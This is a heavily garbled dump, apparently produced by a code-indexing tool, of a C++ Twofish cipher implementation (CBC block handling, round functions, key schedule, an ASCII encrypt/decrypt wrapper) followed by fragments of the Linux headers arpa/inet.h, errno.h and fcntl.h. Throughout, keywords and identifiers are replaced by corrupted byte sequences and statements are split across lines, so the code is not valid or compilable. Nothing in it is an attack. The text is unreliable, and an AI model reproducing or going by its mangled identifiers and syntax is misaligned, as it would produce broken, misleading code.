+++ ) {
+
+461 *
+outSÿ”
+ = *
+sÿ”
+ ^
+CBC¶usC´ime
+[
+i
+];
+
+467
+sÿ”
+ =
+;
+
+468  
+i
+ = 0; i <
+size
+; i++,
+sÿ”
+++ ) {
+
+469
+CnMšusOÃ
+[
+i
+] = *
+sÿ”
+;
+
+471  
+i
+ =
+size
+; i < 16; i++ ) {
+
+472
+CnMšusOÃ
+[
+i
+] =
+CBC¶usC´ime
+[i];
+
+475
+ `blockCry±16
+Ð&
+CnMšusOÃ
+[0], &
+PnMšusOÃ
+[0] );
+
+477  
+i
+ = 0; i < 16; i++ ) {
+
+478
+PnMšusOÃ
+[
+i
+] = PnMšusOÃ[i] ^
+´evCh”
+[i];
+
+482
+ `qBlockPush
+Ð&
+CnMšusOÃ
+[0], &
+PnMšusOÃ
+[0] );
+
+483
+ `qBlockFlush
+();
+
+484
+ `æushOuut
+out
+,
+size
+ );
+
+486
+ `qBlockPÝ
+Ð&
+PnMšusOÃ
+[0], &
+CnMšusOÃ
+[0] );
+
+487 
+Pn
+[16];
+
+488
+ `bz”o
+Ð&
+Pn
+[0], 16 );
+
+489
+ `memýy
+Ð&
+Pn
+[0],
+,
+size
+ );
+
+490  
+i
+ = 0; i < 16; i++ ) {
+
+491
+Pn
+[
+i
+] =
+CnMšusOÃ
+[i] ^ Pn[i];
+
+493
+ `blockCry±16
+Ð&
+Pn
+[0],
+out
+ );
+
+494
+ `qBlockPush
+Ð&
+Pn
+[0],
+out
+ );
+
+495
+ `qBlockFlush
+();
+
+496
+ `æushOuut
+Ð&
+CnMšusOÃ
+[0],
+size
+ );
+
+498
+qBlockDefšed
+ =
+çl£
+;
+
+500
+ }
+}
+
+502 
+ gTwoFish
+::
+ $qBlockPush
+Ð*
+p
+, *
+c
+ ) {
+
+503 iàÐ
+qBlockDefšed
+ ) {
+
+504
+ `qBlockFlush
+();
+
+506
+ `memýy
+Ð&
+´evCh”
+[0], &
+qBlockPϚ
+[0], 16 );
+
+507
+ `memýy
+Ð&
+qBlockPϚ
+[0],
+p
+, 16 );
+
+508
+ `memýy
+Ð&
+qBlockCry±
+[0],
+c
+, 16 );
+
+509
+qBlockDefšed
+ =
+Œue
+;
+
+510
+ }
+}
+
+512 
+ gTwoFish
+::
+ $qBlockPÝ
+Ð*
+p
+, *
+c
+ ) {
+
+513
+ `memýy
+p
+, &
+qBlockPϚ
+[0], 16 );
+
+514
+ `memýy
+c
+, &
+qBlockCry±
+[0], 16 );
+
+515
+qBlockDefšed
+ =
+çl£
+;
+
+516
+ }
+}
+
+525 
+ gTwoFish
+::
+ $qBlockFlush
+() {
+
+526
+ `æushOuut
+Ð&
+qBlockCry±
+[0], 16 );
+
+527
+ }
+}
+
+529 
+ gTwoFish
+::
+ $æush
+() {
+
+530 iàÐ
+qBlockDefšed
+ ) {
+
+531
+ `qBlockFlush
+();
+
+533
+ }
+}
+
+535 
+ gTwoFish
+::
+ $blockCry±16
+Ð*
+, *
+out
+ ) {
+
+537 
+šOff£t
+ = 0;
+
+538 
+outOff£t
+ = 0;
+
+539 
+x0
+ = (
+[
+šOff£t
+] & 0xFF) |
+
+540 (
+[
+šOff£t
++1] & 0xFF) << 8 |
+
+541 (
+[
+šOff£t
++2] & 0xFF) << 16 |
+
+542 (
+[
+šOff£t
++3] & 0xFF) << 24;
+
+543
+šOff£t
+ += 4;
+
+544 
+x1
+ = (
+[
+šOff£t
+] & 0xFF) |
+
+545 (
+[
+šOff£t
++1] & 0xFF) << 8 |
+
+546 (
+[
+šOff£t
++2] & 0xFF) << 16 |
+
+547 (
+[
+šOff£t
++3] & 0xFF) << 24;
+
+548
+šOff£t
+ += 4;
+
+549 
+x2
+ = (
+[
+šOff£t
+] & 0xFF) |
+
+550 (
+[
+šOff£t
++1] & 0xFF) << 8 |
+
+551 (
+[
+šOff£t
++2] & 0xFF) << 16 |
+
+552 (
+[
+šOff£t
++3] & 0xFF) << 24;
+
+553
+šOff£t
+ += 4;
+
+554 
+x3
+ = (
+[
+šOff£t
+] & 0xFF) |
+
+555 (
+[
+šOff£t
++1] & 0xFF) << 8 |
+
+556 (
+[
+šOff£t
++2] & 0xFF) << 16 |
+
+557 (
+[
+šOff£t
++3] & 0xFF) << 24;
+
+571
+x0
+ ^ð
+subKeys
+[0];
+
+572
+x1
+ ^ð
+subKeys
+[1];
+
+573
+x2
+ ^ð
+subKeys
+[2];
+
+574
+x3
+ ^ð
+subKeys
+[3];
+
+576 
+k
+,
+t0
+,
+t1
+;
+
+577 iàÐ
+deüy±
+ ) {
+
+578
+k
+ = 39;
+
+579 
+R
+ = 0; R <
+ROUNDS
+; R += 2) {
+
+580
+t0
+ =
+ `Fe320
+sBox
+,
+x0
+ );
+
+581
+t1
+ =
+ `Fe323
+sBox
+,
+x1
+ );
+
+582
+x3
+ ^ð
+t0
+ + (
+t1
+<<1è+
+subKeys
+[
+k
+--];
+
+583
+x3
+ = x3 >> 1 | x3 << 31;
+
+584
+x2
+ = x2 << 1 | x2 >> 31;
+
+585
+x2
+ ^ð
+t0
+ +
+t1
+ +
+subKeys
+[
+k
+--];
+
+587
+t0
+ =
+ `Fe320
+sBox
+,
+x2
+ );
+
+588
+t1
+ =
+ `Fe323
+sBox
+,
+x3
+ );
+
+589
+x1
+ ^ð
+t0
+ + (
+t1
+<<1è+
+subKeys
+[
+k
+--];
+
+590
+x1
+ = x1 >> 1 | x1 << 31;
+
+591
+x0
+ = x0 << 1 | x0 >> 31;
+
+592
+x0
+ ^ð
+t0
+ +
+t1
+ +
+subKeys
+[
+k
+--];
+
+595
+k
+ = 8;
+
+596 
+R
+ = 0; R <
+ROUNDS
+; R += 2) {
+
+597
+t0
+ =
+ `Fe320
+sBox
+,
+x0
+ );
+
+598
+t1
+ =
+ `Fe323
+sBox
+,
+x1
+ );
+
+599
+x2
+ ^ð
+t0
+ +
+t1
+ +
+subKeys
+[
+k
+++];
+
+600
+x2
+ = x2 >> 1 | x2 << 31;
+
+601
+x3
+ = x3 << 1 | x3 >> 31;
+
+602
+x3
+ ^ð
+t0
+ + (
+t1
+<<1è+
+subKeys
+[
+k
+++];
+
+604
+t0
+ =
+ `Fe320
+sBox
+,
+x2
+ );
+
+605
+t1
+ =
+ `Fe323
+sBox
+,
+x3
+ );
+
+606
+x0
+ ^ð
+t0
+ +
+t1
+ +
+subKeys
+[
+k
+++];
+
+607
+x0
+ = x0 >> 1 | x0 << 31;
+
+608
+x1
+ = x1 << 1 | x1 >> 31;
+
+609
+x1
+ ^ð
+t0
+ + (
+t1
+<<1è+
+subKeys
+[
+k
+++];
+
+613
+x2
+ ^ð
+subKeys
+[4];
+
+614
+x3
+ ^ð
+subKeys
+[5];
+
+615
+x0
+ ^ð
+subKeys
+[6];
+
+616
+x1
+ ^ð
+subKeys
+[7];
+
+618
+out
+ +ð
+outOff£t
+;
+
+627 *
+out
+++ = (
+x2
+ );
+
+628 *
+out
+++ = (
+x2
+ >> 8);
+
+629 *
+out
+++ = (
+x2
+ >> 16);
+
+630 *
+out
+++ = (
+x2
+ >> 24);
+
+632 *
+out
+++ = (
+x3
+ );
+
+633 *
+out
+++ = (
+x3
+ >> 8);
+
+634 *
+out
+++ = (
+x3
+ >> 16);
+
+635 *
+out
+++ = (
+x3
+ >> 24);
+
+637 *
+out
+++ = (
+x0
+ );
+
+638 *
+out
+++ = (
+x0
+ >> 8);
+
+639 *
+out
+++ = (
+x0
+ >> 16);
+
+640 *
+out
+++ = (
+x0
+ >> 24);
+
+642 *
+out
+++ = (
+x1
+ );
+
+643 *
+out
+++ = (
+x1
+ >> 8);
+
+644 *
+out
+++ = (
+x1
+ >> 16);
+
+645 *
+out
+++ = (
+x1
+ >> 24);
+
+646
+ }
+}
+
+657 
+ gTwoFish
+::
+ $RS_MDS_Encode
+Ð
+k0
+, 
+k1
+ ) {
+
+658 
+r
+ =
+k1
+;
+
+659 
+i
+ = 0; i < 4; i++)
+
+660
+ `RS_»m
+r
+ );
+
+662
+r
+ ^ð
+k0
+;
+
+663 
+i
+ = 0; i < 4; i++)
+
+664
+ `RS_»m
+r
+ );
+
+666 
+r
+;
+
+667
+ }
+}
+
+670 
+ gTwoFish
+::
+ $F32
+Ð
+k64CÁ
+, 
+x
+, *
+k32
+ ) {
+
+671 
+b0
+ =
+ `b0
+(
+x
+);
+
+672 
+b1
+ =
+ `b1
+(
+x
+);
+
+673 
+b2
+ =
+ `b2
+(
+x
+);
+
+674 
+b3
+ =
+ `b3
+(
+x
+);
+
+675 
+k0
+ =
+k32
+[0];
+
+676 
+k1
+ =
+k32
+[1];
+
+677 
+k2
+ =
+k32
+[2];
+
+678 
+k3
+ =
+k32
+[3];
+
+680 
+»suÉ
+ = 0;
+
+681 
+k64CÁ
+ & 3) {
+
+683
+»suÉ
+ =
+
+684
+MDS
+[0][(
+P
+[
+P_01
+][
+b0
+] & 0xFFè^
+ `b0
+(
+k0
+)] ^
+
+685
+MDS
+[1][(
+P
+[
+P_11
+][
+b1
+] & 0xFFè^
+ `b1
+(
+k0
+)] ^
+
+686
+MDS
+[2][(
+P
+[
+P_21
+][
+b2
+] & 0xFFè^
+ `b2
+(
+k0
+)] ^
+
+687
+MDS
+[3][(
+P
+[
+P_31
+][
+b3
+] & 0xFFè^
+ `b3
+(
+k0
+)];
+
+690
+b0
+ = (
+P
+[
+P_04
+][b0] & 0xFFè^
+ `b0
+(
+k3
+);
+
+691
+b1
+ = (
+P
+[
+P_14
+][b1] & 0xFFè^
+ `b1
+(
+k3
+);
+
+692
+b2
+ = (
+P
+[
+P_24
+][b2] & 0xFFè^
+ `b2
+(
+k3
+);
+
+693
+b3
+ = (
+P
+[
+P_34
+][b3] & 0xFFè^
+ `b3
+(
+k3
+);
+
+696
+b0
+ = (
+P
+[
+P_03
+][b0] & 0xFFè^
+ `b0
+(
+k2
+);
+
+697
+b1
+ = (
+P
+[
+P_13
+][b1] & 0xFFè^
+ `b1
+(
+k2
+);
+
+698
+b2
+ = (
+P
+[
+P_23
+][b2] & 0xFFè^
+ `b2
+(
+k2
+);
+
+699
+b3
+ = (
+P
+[
+P_33
+][b3] & 0xFFè^
+ `b3
+(
+k2
+);
+
+702
+»suÉ
+ =
+
+703
+MDS
+[0][(
+P
+[
+P_01
+][(P[
+P_02
+][
+b0
+] & 0xFFè^
+ `b0
+(
+k1
+)] & 0xFFè^ b0(
+k0
+)] ^
+
+704
+MDS
+[1][(
+P
+[
+P_11
+][(P[
+P_12
+][
+b1
+] & 0xFFè^
+ `b1
+(
+k1
+)] & 0xFFè^ b1(
+k0
+)] ^
+
+705
+MDS
+[2][(
+P
+[
+P_21
+][(P[
+P_22
+][
+b2
+] & 0xFFè^
+ `b2
+(
+k1
+)] & 0xFFè^ b2(
+k0
+)] ^
+
+706
+MDS
+[3][(
+P
+[
+P_31
+][(P[
+P_32
+][
+b3
+] & 0xFFè^
+ `b3
+(
+k1
+)] & 0xFFè^ b3(
+k0
+)];
+
+709 
+»suÉ
+;
+
+710
+ }
+}
+
+712 
+ gTwoFish
+::
+ $Fe320
+Ð*
+sBox
+, 
+x
+ ) {
+
+713 
+sBox
+[
+ `b0
+(
+x
+) << 1 ] ^
+
+714
+sBox
+[ (
+ `b1
+(
+x
+) << 1) | 1] ^
+
+715
+sBox
+[0x200 + (
+ `b2
+(
+x
+) << 1) ] ^
+
+716
+sBox
+[0x200 + (
+ `b3
+(
+x
+) << 1) | 1];
+
+717
+ }
+}
+
+718 
+ gTwoFish
+::
+ $Fe323
+Ð*
+sBox
+, 
+x
+ ) {
+
+719 
+sBox
+[ (
+ `b3
+(
+x
+) << 1) ] ^
+
+720
+sBox
+[ (
+ `b0
+(
+x
+) << 1) | 1] ^
+
+721
+sBox
+[0x200 + (
+ `b1
+(
+x
+) << 1) ] ^
+
+722
+sBox
+[0x200 + (
+ `b2
+(
+x
+) << 1) | 1];
+
+723
+ }
+}
+
+724 
+ gTwoFish
+::
+ $Fe32
+Ð*
+sBox
+, 
+x
+, 
+R
+ ) {
+
+725 
+sBox
+[ 2*
+ `_b
+(
+x
+,
+R
+ ) ] ^
+
+726
+sBox
+[ 2*
+ `_b
+(
+x
+,
+R
++1) + 1] ^
+
+727
+sBox
+[0x200 + 2*
+ `_b
+(
+x
+,
+R
++2) ] ^
+
+728
+sBox
+[0x200 + 2*
+ `_b
+(
+x
+,
+R
++3) + 1];
+
+729
+ }
+}
+
+732 
+ gkey
+[32];
+
+733 *
+ $g’”©eKey
+Ð*
+s
+ ) {
+
+734 
+sIdx
+ = 0;
+
+735  
+i
+ = 0; i < 32; i++ ) {
+
+736 
+sv®
+ = *Ð
+s
+ +
+sIdx
+ );
+
+737 ià(Ð
+sv®
+ >= '0' ) && ( sval <= '9' )) {
+
+738
+key
+[
+i
+] =
+sv®
+;
+
+739 } ià(Ð
+sv®
+ >= 'a' ) && ( sval <= 'f' )) {
+
+740
+key
+[
+i
+] =
+sv®
+;
+
+742 
+q
+ =
+sv®
+%16;
+
+743 iàÐ
+q
+ < 10 ) {
+
+744
+key
+[
+i
+] = ('0' +
+q
+);
+
+746
+key
+[
+i
+] = ('a' +
+q
+ - 10);
+
+749
+sIdx
+++;
+
+750 iàÐ*Ð
+s
+ +
+sIdx
+ ) == 0 ) {
+
+751
+sIdx
+ = 0;
+
+754 Ð&
+key
+[0] );
+
+755
+ }
+}
+
+758
+ gAsciiTwofish
+::
+ $AsciiTwofish
+TwoFish
+*
+e
+ ) {
+
+759
+’gše
+ =
+e
+;
+
+760
+ }
+}
+
+762 
+ gAsciiTwofish
+::
+ $’üy±Ascii
+Ð*
+, *
+out
+, 
+outBufãrSize
+ ) {
+
+763
+’gše
+->
+ `£tDeüy±
+çl£
+ );
+
+764
+’gše
+->
+ `ȣtCBC
+();
+
+766 
+by‹Buf
+[200];
+
+767 *
+Üigš®Out
+ =
+out
+;
+
+770 
+šLi¡
+[16];
+
+771 
+outLi¡
+[16];
+
+772
+’gše
+->
+ `£tOuutBufãr
+by‹Buf
+ );
+
+773 
+»maššg
+ =
+ `¡¾’
+ );
+
+774 
+Ën
+ =
+»maššg
+;
+
+775 
+bidx
+ = 0;
+
+776 
+»maššg
+ > 0 ) {
+
+777 iàÐ
+»maššg
+ > 16 ) {
+
+778
+ `memýy
+šLi¡
+,
+ +
+bidx
+, 16 );
+
+779
+’gše
+->
+ `blockCry±
+šLi¡
+, (*)
+outLi¡
+, 16 );
+
+781
+ `memýy
+šLi¡
+,
+ +
+bidx
+,
+»maššg
+ );
+
+782
+’gše
+->
+ `blockCry±
+šLi¡
+, (*)
+outLi¡
+,
+»maššg
+ );
+
+784
+bidx
+ += 16;
+
+785
+»maššg
+ -= 16;
+
+787
+’gše
+->
+ `æush
+();
+
+790 iàÐ
+outBufãrSize
+ <
+Ën
+*3 ) {
+
+791
+ `´štf
+Ð"Hey, outBufãrSizi %d, buˆËn*3 i %d\n",
+outBufãrSize
+,
+Ën
+*3 );
+
+793  
+i
+ = 0; i <
+Ën
+; i++ ) {
+
+794
+ `¥rštf
+out
+, "%03d",
+by‹Buf
+[
+i
+] );
+
+795
+out
+ += 3;
+
+798
+’gše
+->
+ `£tOuutBufãr
+NULL
+ );
+
+799
+ }
+}
+
+801 
+ gAsciiTwofish
+::
+ $deüy±Ascii
+Ð*
+, *
+out
+ ) {
+
+802
+’gše
+->
+ `£tDeüy±
+Œue
+ );
+
+803
+’gše
+->
+ `ȣtCBC
+();
+
+804
+’gše
+->
+ `£tOuutBufãr
+Ð(*)
+out
+ );
+
+806 
+šL’
+ =
+ `¡¾’
+ );
+
+807 ià(Ð*Ð
+ +
+šL’
+ - 1 ) == '\n' ) ||
+
+808 Ð*Ð
+ +
+šL’
+ - 1 ) == '\r' )) {
+
+809 *Ð
+ +
+šL’
+ - 1 ) = 0;
+
+810
+šL’
+ =
+ `¡¾’
+ );
+
+812 
+by‹Buf
+[200];
+
+813 
+by‹BufIdx
+ = 0;
+
+816  
+i
+ = 0; i <
+šL’
+; i += 3 ) {
+
+817 
+x
+ = 0;
+
+818
+x
+ = x * 10 + ( *
+++ - '0' );
+
+819
+x
+ = x * 10 + ( *
+++ - '0' );
+
+820
+x
+ = x * 10 + ( *
+++ - '0' );
+
+821
+by‹Buf
+[
+by‹BufIdx
+++ ] =
+x
+;
+
+822
+by‹Buf
+[
+by‹BufIdx
+ ] = 0;
+
+826 
+šLi¡
+[16];
+
+827 
+outLi¡
+[16];
+
+828 
+»maššg
+ =
+by‹BufIdx
+;
+
+829 *Ð
+out
+ +
+by‹BufIdx
+ ) = 0;
+
+830 
+bidx
+ = 0;
+
+831 
+»maššg
+ > 0 ) {
+
+832 iàÐ
+»maššg
+ > 16 ) {
+
+833
+ `memýy
+šLi¡
+, &
+by‹Buf
+[
+bidx
+], 16 );
+
+834
+’gše
+->
+ `blockCry±
+šLi¡
+, (*)
+outLi¡
+, 16 );
+
+836
+ `memýy
+šLi¡
+, &
+by‹Buf
+[
+bidx
+],
+»maššg
+ );
+
+837
+’gše
+->
+ `blockCry±
+šLi¡
+, (*)
+outLi¡
+,
+»maššg
+ );
+
+839
+bidx
+ += 16;
+
+840
+»maššg
+ -= 16;
+
+842
+’gše
+->
+ `æush
+();
+
+843
+’gše
+->
+ `£tOuutBufãr
+NULL
+ );
+
+844 *Ð
+out
+ +
+by‹BufIdx
+ ) = 0;
+
+845
+ }
+}
+
+ @twofish2.h
+
+1 
+ ~<¡dio.h
+>
+
+4 þas 
+ cTwoFish
+
+
+11
+ mBLOCK_SIZE
+ = 16,
+
+12
+ mROUNDS
+ = 16,
+
+13
+ mTOTAL_SUBKEYS
+ = 4 + 4 + 2*
+ROUNDS
+,
+
+14
+ mSK_BUMP
+ = 0x01010101,
+
+15
+ mSK_ROTL
+ = 9,
+
+16
+ mP_00
+ = 1,
+
+17
+ mP_01
+ = 0,
+
+18
+ mP_02
+ = 0,
+
+19
+ mP_03
+ =
+P_01
+ ^ 1,
+
+20
+ mP_04
+ = 1,
+
+21
+ mP_10
+ = 0,
+
+22
+ mP_11
+ = 0,
+
+23
+ mP_12
+ = 1,
+
+24
+ mP_13
+ =
+P_11
+ ^ 1,
+
+25
+ mP_14
+ = 0,
+
+26
+ mP_20
+ = 1,
+
+27
+ mP_21
+ = 1,
+
+28
+ mP_22
+ = 0,
+
+29
+ mP_23
+ =
+P_21
+ ^ 1,
+
+30
+ mP_24
+ = 0,
+
+31
+ mP_30
+ = 0,
+
+32
+ mP_31
+ = 1,
+
+33
+ mP_32
+ = 1,
+
+34
+ mP_33
+ =
+P_31
+ ^ 1,
+
+35
+ mP_34
+ = 1,
+
+36
+ mGF256_FDBK
+ = 0x169,
+
+37
+ mGF256_FDBK_2
+ = 0x169 / 2,
+
+38
+ mGF256_FDBK_4
+ = 0x169 / 4,
+
+39
+ mRS_GF_FDBK
+ = 0x14D,
+
+40
+ mMDS_GF_FDBK
+ = 0x169
+
+46
+ g´iv©e
+:
+
+47 
+´ecompu‹MDSm©rix
+();
+
+54
+boÞ
+
+ gdeüy±
+;
+
+55
+boÞ
+
+ gouutIsFže
+;
+
+56
+boÞ
+
+ gouutIsBufãr
+;
+
+57
+boÞ
+
+ gouutIsSock‘
+;
+
+61 
+ gsBox
+[4 * 256];
+
+65 
+ gsubKeys
+[
+TOTAL_SUBKEYS
+];
+
+68
+FILE
+*
+ gåout
+;
+
+69 *
+ gouutBufãr
+;
+
+70 
+ gsockfd
+;
+
+73
+ gpublic
+:
+
+77
+TwoFish
+Ð*
+u£rkey
+,
+boÞ
+
+_deüy±
+,
+FILE
+*
+åout
+, *
+outbuf
+ );
+
+78 
+ $£tDeüy±
+boÞ
+
+d
+ ) {
+deüy±
+ = d;
+ }
+}
+
+79 
+ $£tFp
+FILE
+*
+ ) {
+åout
+ = fp; iàÐå !ð
+NULL
+ )
+ouutIsFže
+ =
+Œue
+; ouutIsFžð
+çl£
+;
+ }
+}
+
+80 
+ $£tOuutBufãr
+Ð*
+obuf
+ ) {
+ouutBufãr
+ = obuf; iàÐouutBufã¸!ð
+NULL
+ )
+ouutIsBufãr
+ =
+Œue
+; ouutIsBufã¸ð
+çl£
+;
+ }
+}
+
+81 
+ $£tSock‘
+Ð
+sfd
+ ) {
+sockfd
+ = sfd; iàÐsfd !ð-1 )
+ouutIsSock‘
+ =
+Œue
+; ouutIsSock‘ =
+çl£
+;
+ }
+}
+
+82 
+blockCry±
+Ð*
+, *
+out
+, 
+size
+ );
+
+83 
+blockCry±16
+Ð*
+, *
+out
+ );
+
+84 
+æush
+();
+
+85 
+ $ȣtCBC
+(è{
+qBlockDefšed
+ =
+çl£
+;
+ }
+}
+
+87
+ g´iv©e
+:
+
+88 
+æushOuut
+Ð*
+ouut
+, 
+size
+ );
+
+89 
+qBlockPush
+Ð*
+p
+, *
+c
+ );
+
+90 
+qBlockPÝ
+Ð*
+p
+, *
+c
+ );
+
+91 
+qBlockFlush
+();
+
+93 
+ gqBlockPϚ
+[16];
+
+94 
+ gqBlockCry±
+[16];
+
+95 
+ g´evCh”
+[16];
+
+96
+boÞ
+
+ gqBlockDefšed
+;
+
+100 
+makeSubKeys
+Ð*
+k
+ );
+
+106 
+RS_MDS_Encode
+Ð
+k0
+, 
+k1
+ );
+
+107 
+F32
+Ð
+k64CÁ
+, 
+x
+, *
+k32
+ );
+
+108 
+Fe32
+Ð*
+sBox
+, 
+x
+, 
+R
+ );
+
+109 
+Fe320
+Ð*
+sBox
+, 
+x
+ );
+
+110 
+Fe323
+Ð*
+sBox
+, 
+x
+ );
+
+112 *
+g’”©eKey
+Ð*
+k¡r
+ );
+
+115 þas 
+ cAsciiTwofish
+ {
+
+116
+ mpublic
+:
+
+117
+AsciiTwofish
+TwoFish
+*
+’gše
+ );
+
+118 
+’üy±Ascii
+Ð*
+, *
+out
+, 
+outBufãrSize
+ );
+
+119 
+deüy±Ascii
+Ð*
+, *
+out
+ );
+
+120
+ m´iv©e
+:
+
+121
+TwoFish
+*
+’gše
+;
+
+ @/usr/include/arpa/inet.h
+
+19 #iâdeà
+_ARPA_INET_H
+
+
+20 
+ #_ARPA_INET_H
+ 1
+
+ )
+
+22 
+ ~<ã©u»s.h
+>
+
+23 
+ ~<Ãtš‘/š.h
+>
+
+26 #iâdeà
+__sockËn_t_defšed
+
+
+27 +__sockËn_t
+
+ tsockËn_t
+;
+
+28 
+ #__sockËn_t_defšed
+
+
+ )
+
+31
+__BEGIN_DECLS
+
+
+35
+š_addr_t
+
+ $š‘_addr
+ (
+__cÚ¡
+ *
+__ý
+__THROW
+;
+
+38
+š_addr_t
+
+ $š‘_Êaof
+ (
+š_addr
+
+__š
+__THROW
+;
+
+42

+š_addr
+
+ $š‘_mak—ddr
+ (
+š_addr_t
+
+__Ãt
+, in_addr_ˆ
+__ho¡
+)
+
+43
+__THROW
+;
+
+46
+š_addr_t
+
+ $š‘_Ãtof
+ (
+š_addr
+
+__š
+__THROW
+;
+
+50
+š_addr_t
+
+ $š‘_ÃtwÜk
+ (
+__cÚ¡
+ *
+__ý
+__THROW
+;
+
+54
*
+ $š‘_Áß
+ (
+š_addr
+
+__š
+__THROW
+;
+
+59

+ $š‘_±Ú
+ (
+__af
+,
+__cÚ¡
+ *
+__»¡riù
+
+__ý
+,
+
+60 *
+__»¡riù
+
+__buf
+__THROW
+;
+
+65
+__cÚ¡
+ *
+ $š‘_ÁÝ
+ (
+__af
+,
+__cÚ¡
+ *
+__»¡riù
+
+__ý
+,
+
+66 *
+__»¡riù
+
+__buf
+,
+sockËn_t
+
+__Ën
+)
+
+67
+__THROW
+;
+
+71 #ifdeà
+__USE_MISC
+
+
+74

+ $š‘_©Ú
+ (
+__cÚ¡
+ *
+__ý
+, 
+š_addr
+ *
+__šp
+__THROW
+;
+
+78
*
+ $š‘_Ï
+ (
+š_addr_t
+
+__Ãt
+, *
+__buf
+,
+size_t
+
+__Ën
+__THROW
+;
+
+83
*
+ $š‘_Ãt_ÁÝ
+ (
+__af
+,
+__cÚ¡
+ *
+__ý
+, 
+__b™s
+,
+
+84 *
+__buf
+,
+size_t
+
+__Ën
+__THROW
+;
+
+89

+ $š‘_Ãt_±Ú
+ (
+__af
+,
+__cÚ¡
+ *
+__ý
+,
+
+90 *
+__buf
+,
+size_t
+
+__Ën
+__THROW
+;
+
+95

+ $š‘_n§p_addr
+ (
+__cÚ¡
+ *
+__ý
+,
+
+96 *
+__buf
+, 
+__Ën
+__THROW
+;
+
+100
*
+ $š‘_n§p_Áß
+ (
+__Ën
+,
+__cÚ¡
+ *
+__ý
+,
+
+101 *
+__buf
+__THROW
+;
+
+104
+__END_DECLS
+
+
+ @/usr/include/errno.h
+
+23 #iâdef
+_ERRNO_H
+
+
+27 #iâdef
+__Ãed_Em©h
+
+
+28 
+ #_ERRNO_H
+ 1
+
+ )
+
+29 
+ ~<ã©u»s.h
+>
+
+32
+ g__BEGIN_DECLS
+
+
+36 
+ ~<b™s/”ºo.h
+>
+
+37 #undeà
+__Ãed_Em©h
+
+
+39 #ifdef
+_ERRNO_H
+
+
+46 #iâdef
+Ӽo
+
+
+47

+Ӽo
+;
+
+50 #ifdeà
+__USE_GNU
+
+
+55
*
+´og¿m_švoÿtiÚ_Çme
+, *
+´og¿m_švoÿtiÚ_shÜt_Çme
+;
+
+59
+ g__END_DECLS
+
+
+67 #ià
+defšed
+
+__USE_GNU
+ || defšed
+__Ãed_”rÜ_t
+
+
+68 #iâdeà
+__”rÜ_t_defšed
+
+
+69
+ t”rÜ_t
+;
+
+70 
+ #__”rÜ_t_defšed
+ 1
+
+ )
+
+72 #undeà
+__Ãed_”rÜ_t
+
+
+ @/usr/include/fcntl.h
+
+24 #iâdef
+_FCNTL_H
+
+
+25 
+ #_FCNTL_H
+ 1
+
+ )
+
+27 
+ ~<ã©u»s.h
+>
+
+30
+ g__BEGIN_DECLS
+
+
+34 
+ ~<b™s/fúŽ.h
+>
+
+37 #ifdeà
+__USE_XOPEN
+
+
+38 
+ ~<sys/¡©.h
+>
+
+41 #ifdef
+__USE_MISC
+
+
+42 #iâdeà
+R_OK
+
+
+45 
+ #R_OK
+ 4
+
+ )
+
+46 
+ #W_OK
+ 2
+
+ )
+
+47 
+ #X_OK
+ 1
+
+ )
+
+48 
+ #F_OK
+ 0
+
+ )
+
+53 #ifdeà
+__USE_XOPEN
+
+
+54 
+ #SEEK_SET
+ 0
+
+ )
+
+55 
+ #SEEK_CUR
+ 1
+
+ )
+
+56 
+ #SEEK_END
+ 2
+
+ )
+
+59 #ifdeà
+__USE_ATFILE
+
+
+60 
+ #AT_FDCWD
+ -100
+
+ )
+
+63 
+ #AT_SYMLINK_NOFOLLOW
+ 0x100
+
+ )
+
+64 
+ #AT_REMOVEDIR
+ 0x200
+
+ )
+
+66 
+ #AT_SYMLINK_FOLLOW
+ 0x400
+
+ )
+
+67 
+ #AT_EACCESS
+ 0x200
+
+ )
+
+76

+fúŽ
+ (
+__fd
+, 
+__cmd
+, ...);
+
+84 #iâdeà
+__USE_FILE_OFFSET64
+
+
+85

+ $ݒ
+ (
+__cÚ¡
+ *
+__fže
+, 
+__oæag
+, ...è
+ `__nÚnuÎ
+ ((1));
+
+87 #ifdeà
+__REDIRECT
+
+
+88

+ `__REDIRECT
+ (
+ݒ
+, (
+__cÚ¡
+ *
+__fže
+, 
+__oæag
+, ...),
+ݒ64
+)
+
+89
+ `__nÚnuÎ
+ ((1));
+
+91 
+ #ݒ
+
+ݒ64
+
+
+ )
+
+94 #ifdeà
+__USE_LARGEFILE64
+
+
+95

+ $ݒ64
+ (
+__cÚ¡
+ *
+__fže
+, 
+__oæag
+, ...è
+ `__nÚnuÎ
+ ((1));
+
+98 #ifdeà
+__USE_ATFILE
+
+
+108 #iâdeà
+__USE_FILE_OFFSET64
+
+
+109

+ $ݒ©
+ (
+__fd
+,
+__cÚ¡
+ *
+__fže
+, 
+__oæag
+, ...)
+
+110
+ `__nÚnuÎ
+ ((2));
+
+112 #ifdeà
+__REDIRECT
+
+
+113

+ `__REDIRECT
+ (
+ݒ©
+, (
+__fd
+,
+__cÚ¡
+ *
+__fže
+, 
+__oæag
+,
+
+114 ...),
+ݒ©64
+ `__nÚnuÎ
+ ((2));
+
+116 
+ #ݒ©
+
+ݒ©64
+
+
+ )
+
+120

+ $ݒ©64
+ (
+__fd
+,
+__cÚ¡
+ *
+__fže
+, 
+__oæag
+, ...)
+
+121
+ `__nÚnuÎ
+ ((2));
+
+129 #iâdeà
+__USE_FILE_OFFSET64
+
+
+130

+ $ü—t
+ (
+__cÚ¡
+ *
+__fže
+,
+__mode_t
+
+__mode
+ `__nÚnuÎ
+ ((1));
+
+132 #ifdeà
+__REDIRECT
+
+
+133

+ `__REDIRECT
+ (
+ü—t
+, (
+__cÚ¡
+ *
+__fže
+,
+__mode_t
+
+__mode
+),
+
+134
+ü—t64
+ `__nÚnuÎ
+ ((1));
+
+136 
+ #ü—t
+
+ü—t64
+
+
+ )
+
+139 #ifdeà
+__USE_LARGEFILE64
+
+
+140

+ $ü—t64
+ (
+__cÚ¡
+ *
+__fže
+,
+__mode_t
+
+__mode
+ `__nÚnuÎ
+ ((1));
+
+143 #ià!
+defšed
+
+F_LOCK
+ && (defšed
+__USE_MISC
+ || (defšed
+__USE_XOPEN_EXTENDED
+ \
+
+144 && !
+defšed
+
+__USE_POSIX
+))
+
+153 
+ #F_ULOCK
+ 0
+
+ )
+
+154 
+ #F_LOCK
+ 1
+
+ )
+
+155 
+ #F_TLOCK
+ 2
+
+ )
+
+156 
+ #F_TEST
+ 3
+
+ )
+
+158 #iâdeà
+__USE_FILE_OFFSET64
+
+
+159

+ `lockf
+ (
+__fd
+, 
+__cmd
+,
+__off_t
+
+__Ën
+);
+
+161 #ifdeà
+__REDIRECT
+
